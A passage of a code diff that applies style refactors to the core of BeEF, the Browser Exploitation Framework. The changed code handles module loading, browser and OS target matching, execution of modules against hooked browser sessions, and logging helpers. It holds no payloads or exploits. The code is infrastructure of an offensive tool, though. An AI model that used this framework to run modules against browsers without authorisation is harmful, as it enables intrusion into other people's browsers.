'post_hard_load', mod) true - rescue => e + rescue StandardError => e BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", false) print_error "There was a problem loading the module '#{mod}'" print_debug "Hard load module syntax error: #{e}" @@ -155,6 +155,7 @@ def self.hard_load(mod) # @return [Boolean] if already hard loaded then true otherwise (see #hard_load) def self.check_hard_load(mod) return true if is_loaded mod + hard_load mod end @@ -162,7 +163,7 @@ def self.check_hard_load(mod) # @param [Integer] id module database ID # @return [String] module key def self.get_key_by_database_id(id) - ret = BeEF::Core::Configuration.instance.get('beef.module').select do |k, v| + ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v| v.key?('db') && v['db']['id'].to_i == id.to_i end ret.is_a?(Array) ? ret.first.first : ret.keys.first @@ -172,7 +173,7 @@ def self.get_key_by_database_id(id) # @param [Class] c module class # @return [String] module key def self.get_key_by_class(c) - ret = BeEF::Core::Configuration.instance.get('beef.module').select do |k, v| + ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v| v.key?('class') && v['class'].to_s.eql?(c.to_s) end ret.is_a?(Array) ? ret.first.first : ret.keys.first @@ -180,7 +181,7 @@ def self.get_key_by_class(c) # Checks to see if module class exists # @param [String] mod module key - # @return [Boolean] returns whether or not the class exists + # @return [Boolean] returns whether or not the class exists def self.exists?(mod) kclass = BeEF::Core::Command.const_get mod.capitalize kclass.is_a? Class @@ -204,7 +205,7 @@ def self.support(mod, opts) return nil unless opts.is_a? Hash unless opts.key? 'browser' - print_error "BeEF::Module.support() was passed a hash without a valid browser constant" + print_error 'BeEF::Module.support() was passed a hash without a valid browser constant' return nil end @@ -217,30 +218,26 @@ def self.support(mod, opts) # if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING # rating += 1 # end - results << {'rating' => 2, 'const' => k} + results << { 'rating' => 2, 'const' => k } end when Hash break if opts['browser'] != v.keys.first && v.keys.first != BeEF::Core::Constants::Browsers::ALL subv = v[v.keys.first] rating = 1 + # version check if opts.key?('ver') if subv.key?('min_ver') - if subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver'] - rating += 1 - else - break - end + break unless subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver'] + rating += 1 end if subv.key?('max_ver') - if (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest' - rating += 1 - else - break - end + break unless (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest' + rating += 1 end end + # os check if opts.key?('os') && subv.key?('os') match = false @@ -271,18 +268,16 @@ def self.support(mod, opts) # if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING # rating += 1 # end - results << {'rating' => rating, 'const' => k} + results << { 'rating' => rating, 'const' => k } end end next unless v.eql? BeEF::Core::Constants::Browsers::ALL rating = 1 - if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING - rating = 1 - end + rating = 1 if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING - results << {'rating' => rating, 'const' => k} + results << { 'rating' => rating, 'const' => k } end end @@ -290,9 +285,7 @@ def self.support(mod, opts) result = {} results.each do |r| - if result == {} || r['rating'] > result['rating'] - result = {'rating' => r['rating'], 'const' => r['const']} - end + result = { 'rating' => r['rating'], 'const' => r['const'] } if result == {} || r['rating'] > result['rating'] end result['const'] @@ -308,38 +301,37 @@ def self.parse_targets(mod) targets = {} target_config.each do |k, v| - begin - next unless BeEF::Core::Constants::CommandModule.const_defined? "VERIFIED_#{k.upcase}" - key = BeEF::Core::Constants::CommandModule.const_get "VERIFIED_#{k.upcase}" - targets[key] = [] unless targets.key? key - browser = nil - - case v - when String - browser = match_target_browser v + next unless BeEF::Core::Constants::CommandModule.const_defined? "VERIFIED_#{k.upcase}" + + key = BeEF::Core::Constants::CommandModule.const_get "VERIFIED_#{k.upcase}" + targets[key] = [] unless targets.key? key + browser = nil + + case v + when String + browser = match_target_browser v + targets[key] << browser if browser + when Array + v.each do |c| + browser = match_target_browser c targets[key] << browser if browser - when Array - v.each do |c| - browser = match_target_browser c - targets[key] << browser if browser - end - when Hash - v.each do |k, c| - browser = match_target_browser k - next unless browser - - case c - when TrueClass - targets[key] << browser - when Hash - details = match_target_browser_spec c - targets[key] << {browser => details} if details - end + end + when Hash + v.each do |k, c| + browser = match_target_browser k + next unless browser + + case c + when TrueClass + targets[key] << browser + when Hash + details = match_target_browser_spec c + targets[key] << { browser => details } if details end end - rescue NameError - print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'" end + rescue NameError + print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'" end BeEF::Core::Configuration.instance.clear "#{mod_str}.target" @@ -351,7 +343,7 @@ def self.parse_targets(mod) # @param [String] v user defined browser # @return [Constant] a BeEF browser constant def self.match_target_browser(v) - unless v.class == String + unless v.instance_of?(String) print_error 'Invalid datatype passed to BeEF::Module.match_target_browser()' return false end @@ -366,24 +358,20 @@ def self.match_target_browser(v) # Translates complex browser target configuration # @note Takes a complex user defined browser hash and converts it to applicable BeEF constants - # @param [Hash] v user defined browser hash + # @param [Hash] v user defined browser hash # @return [Hash] BeEF constants hash def self.match_target_browser_spec(v) - unless v.class == Hash + unless v.instance_of?(Hash) print_error 'Invalid datatype passed to BeEF::Module.match_target_browser_spec()' return {} end browser = {} - if v.key?('max_ver') && (v['max_ver'].is_a?(Integer) || v['max_ver'].is_a?(Float) || v['max_ver'] == 'latest') - browser['max_ver'] = v['max_ver'] - end + browser['max_ver'] = v['max_ver'] if v.key?('max_ver') && (v['max_ver'].is_a?(Integer) || v['max_ver'].is_a?(Float) || v['max_ver'] == 'latest') - if v.key?('min_ver') && (v['min_ver'].is_a?(Integer) || v['min_ver'].is_a?(Float)) - browser['min_ver'] = v['min_ver'] - end + browser['min_ver'] = v['min_ver'] if v.key?('min_ver') && (v['min_ver'].is_a?(Integer) || v['min_ver'].is_a?(Float)) - return browser unless v.key? 'os' + return browser unless v.key?('os') case v['os'] when String @@ -405,7 +393,7 @@ def self.match_target_browser_spec(v) # @param [String] v user defined OS string # @return [Constant] BeEF OS Constant def self.match_target_os(v) - unless v.class == String + unless v.instance_of?(String) print_error 'Invalid datatype passed to BeEF::Module.match_target_os()' return false end @@ -418,13 +406,13 @@ def self.match_target_os(v) false end - # Executes a module + # Executes a module # @param [String] mod module key # @param [String] hbsession hooked browser session # @param [Array] opts array of module execute options (see #get_options) # @return [Integer] the command_id associated to the module execution when info is persisted. nil if there are errors. # @note The return value of this function does not specify if the module was successful, only that it was executed within the framework - def self.execute(mod, hbsession, opts=[]) + def self.execute(mod, hbsession, opts = []) unless is_present(mod) && is_enabled(mod) print_error "Module not found '#{mod}'. Failed to execute module." return nil @@ -445,15 +433,13 @@ def self.execute(mod, hbsession, opts=[]) check_hard_load mod command_module = get_definition(mod).new(mod) - if command_module.respond_to?(:pre_execute) - command_module.pre_execute - end + command_module.pre_execute if command_module.respond_to?(:pre_execute) merge_options(mod, []) c = BeEF::Core::Models::Command.create( - :data => merge_options(mod, opts).to_json, - :hooked_browser_id => hb.id, - :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), - :creationdate => Time.new.to_i + data: merge_options(mod, opts).to_json, + hooked_browser_id: hb.id, + command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), + creationdate: Time.new.to_i ) c.id end @@ -471,9 +457,7 @@ def self.merge_options(mod, opts) defaults.each do |v| mer = nil opts.each do |o| - if v.key?('name') && o.key?('name') && v['name'] == o['name'] - mer = v.deep_merge o - end + mer = v.deep_merge o if v.key?('name') && o.key?('name') && v['name'] == o['name'] end mer.nil? ? merged.push(v) : merged.push(mer) diff --git a/core/modules.rb b/core/modules.rb index 91e6b28b68..79fa992798 100644 --- a/core/modules.rb +++ b/core/modules.rb @@ -5,7 +5,6 @@ # module BeEF module Modules - # Return configuration hashes of all modules that are enabled # @return [Array] configuration hashes of all enabled modules def self.get_enabled diff --git a/core/ruby.rb b/core/ruby.rb index 749a7de2eb..0d3248ce6b 100644 --- a/core/ruby.rb +++ b/core/ruby.rb @@ -13,4 +13,3 @@ require 'core/ruby/string' require 'core/ruby/print' require 'core/ruby/hash' - diff --git a/core/ruby/hash.rb b/core/ruby/hash.rb index d41574e3ef..e7441fc40e 100644 --- a/core/ruby/hash.rb +++ b/core/ruby/hash.rb @@ -4,7 +4,6 @@ # See the file 'doc/COPYING' for copying permission # class Hash - # Recursively deep merge two hashes together # @param [Hash] hash Hash to be merged # @return [Hash] Combined hash diff --git a/core/ruby/module.rb b/core/ruby/module.rb index c164e86c11..eee680085f 100644 --- a/core/ruby/module.rb +++ b/core/ruby/module.rb @@ -4,16 +4,14 @@ # See the file 'doc/COPYING' for copying permission # class Module - # Returns the classes in the current ObjectSpace where this module has been mixed in according to Module#included_modules. # @return [Array] An array of classes def included_in_classes classes = [] ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) } - classes.reverse.inject([]) do |unique_classes, klass| + classes.reverse.each_with_object([]) do |klass, unique_classes| unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s) - unique_classes end end @@ -23,9 +21,8 @@ def included_in_modules modules = [] ObjectSpace.each_object(Module) { |k| modules << k if k.included_modules.include?(self) } - modules.reverse.inject([]) do |unique_modules, klass| + modules.reverse.each_with_object([]) do |klass, unique_modules| unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s) - unique_modules end end end diff --git a/core/ruby/object.rb b/core/ruby/object.rb index 73a8b11908..8204a1e5cb 100644 --- a/core/ruby/object.rb +++ b/core/ruby/object.rb @@ -4,40 +4,39 @@ # See the file 'doc/COPYING' for copying permission # class Object - # Returns true if the object is a Boolean # @return [Boolean] Whether the object is boolean def boolean? - self.is_a?(TrueClass) || self.is_a?(FalseClass) + is_a?(TrueClass) || is_a?(FalseClass) end # Returns true if the object is a String # @return [Boolean] Whether the object is a string def string? - self.is_a?(String) + is_a?(String) end # Returns true if the object is an Integer # @return [Boolean] Whether the object is an integer def integer? - self.is_a?(Integer) + is_a?(Integer) end # Returns true if the object is a hash # @return [Boolean] Whether the object is a hash def hash? - self.is_a?(Hash) + is_a?(Hash) end # Returns true if the object is a class # @return [Boolean] Whether the object is a class def class? - self.is_a?(Class) + is_a?(Class) end # Returns true if the object is nil, and empty string, or empty array # @return [Boolean] def blank? - self.respond_to?(:empty?) ? !!empty? : !self + respond_to?(:empty?) ? !!empty? : !self end end diff --git a/core/ruby/print.rb b/core/ruby/print.rb index dfb92b9644..d7ebe3e4d5 100644 --- a/core/ruby/print.rb +++ b/core/ruby/print.rb @@ -7,14 +7,14 @@ # Function used to print errors to the console # @param [String] s String to be printed def print_error(s) - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[!]'+' '+s.to_s + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s BeEF.logger.error s.to_s end # Function used to print information to the console # @param [String] s String to be printed def print_info(s) - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[*]'+' '+s.to_s + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[*]' + ' ' + s.to_s BeEF.logger.info s.to_s end @@ -27,7 +27,7 @@ def print_status(s) # Function used to print warning information # @param [String] s String to be printed def print_warning(s) - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[!]'+' '+s.to_s + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s BeEF.logger.warn s.to_s end @@ -36,16 +36,16 @@ def print_warning(s) # @note This function will only print messages if the debug flag is set to true def print_debug(s) config = BeEF::Core::Configuration.instance - if config.get('beef.debug') || BeEF::Core::Console::CommandLine.parse[:verbose] - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[>]'+' '+s.to_s - BeEF.logger.debug s.to_s - end + return unless config.get('beef.debug') || BeEF::Core::Console::CommandLine.parse[:verbose] + + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[>]' + ' ' + s.to_s + BeEF.logger.debug s.to_s end # Function used to print successes to the console # @param [String] s String to be printed def print_success(s) - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[+]'+' '+s.to_s + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[+]' + ' ' + s.to_s BeEF.logger.info s.to_s end @@ -59,16 +59,16 @@ def print_good(s) # @param [String] s String to be printed # @note The string passed needs to be separated by the "\n" for multiple lines to be printed def print_more(s) - time = Time.now.localtime.strftime("[%k:%M:%S]") + time = Time.now.localtime.strftime('[%k:%M:%S]') - if s.class == Array - lines = s - else - lines = s.split("\n") - end + lines = if s.instance_of?(Array) + s + else + s.split("\n") + end lines.each_with_index do |line, index| - if ((index+1) == lines.size) + if (index + 1) == lines.size puts "#{time} |_ #{line}" BeEF.logger.info "#{time} |_ #{line}" else @@ -82,7 +82,7 @@ def print_more(s) # @param [String] s String to print over current line # @note To terminate the print_over functionality your last print_over line must include a "\n" return def print_over(s) - time = Time.now.localtime.strftime("[%k:%M:%S]") - print "\r#{time}"+"[*]".blue+" #{s}" + time = Time.now.localtime.strftime('[%k:%M:%S]') + print "\r#{time}" + '[*]'.blue + " #{s}" BeEF.logger.info s.to_s end diff --git a/core/ruby/security.rb b/core/ruby/security.rb index 0d10bda665..ef2eee8250 100644 --- a/core/ruby/security.rb +++ b/core/ruby/security.rb @@ -5,20 +5,19 @@ # # @note Prevent exec from ever being used -def exec(args) - puts "For security reasons the exec method is not accepted in the Browser Exploitation Framework code base." +def exec(_args) + puts 'For security reasons the exec method is not accepted in the Browser Exploitation Framework code base.' exit end # @note Prevent system from ever being used -def system(args) - puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base." - exit +def system(_args) + puts 'For security reasons the system method is not accepted in the Browser Exploitation Framework code base.' + exit end # @note Prevent Kernel.system from ever being used -def Kernel.system(args) - puts "For security reasons the Kernel.system method is not accepted in the Browser Exploitation Framework code base." +def Kernel.system(_args) + puts 'For security reasons the Kernel.system method is not accepted in the Browser Exploitation Framework code base.' exit end - diff --git a/core/ruby/string.rb b/core/ruby/string.rb index a52fa82f86..26abd907c1 100644 --- a/core/ruby/string.rb +++ b/core/ruby/string.rb @@ -4,9 +4,7 @@ # See the file 'doc/COPYING' for copying permission # class String - # @note Use a gem to colorize the console. - # @note http://flori.github.com/term-ansicolor/ + # @note http://flori.github.com/term-ansicolor/ include Term::ANSIColor - end diff --git a/core/settings.rb b/core/settings.rb index 350fb02d4a..786d865303 100644 --- a/core/settings.rb +++ b/core/settings.rb @@ -5,7 +5,6 @@ # module BeEF module Settings - # Checks if an extension exists in the framework. # @param [String] beef_extension extension class # @return [Boolean] if the extension exists @@ -20,8 +19,7 @@ def self.extension_exists?(beef_extension) # @deprecated Use #{BeEF::Extension.is_loaded()} instead of this method. # This method bypasses the configuration system. def self.console? - self.extension_exists?('Console') + extension_exists?('Console') end - end end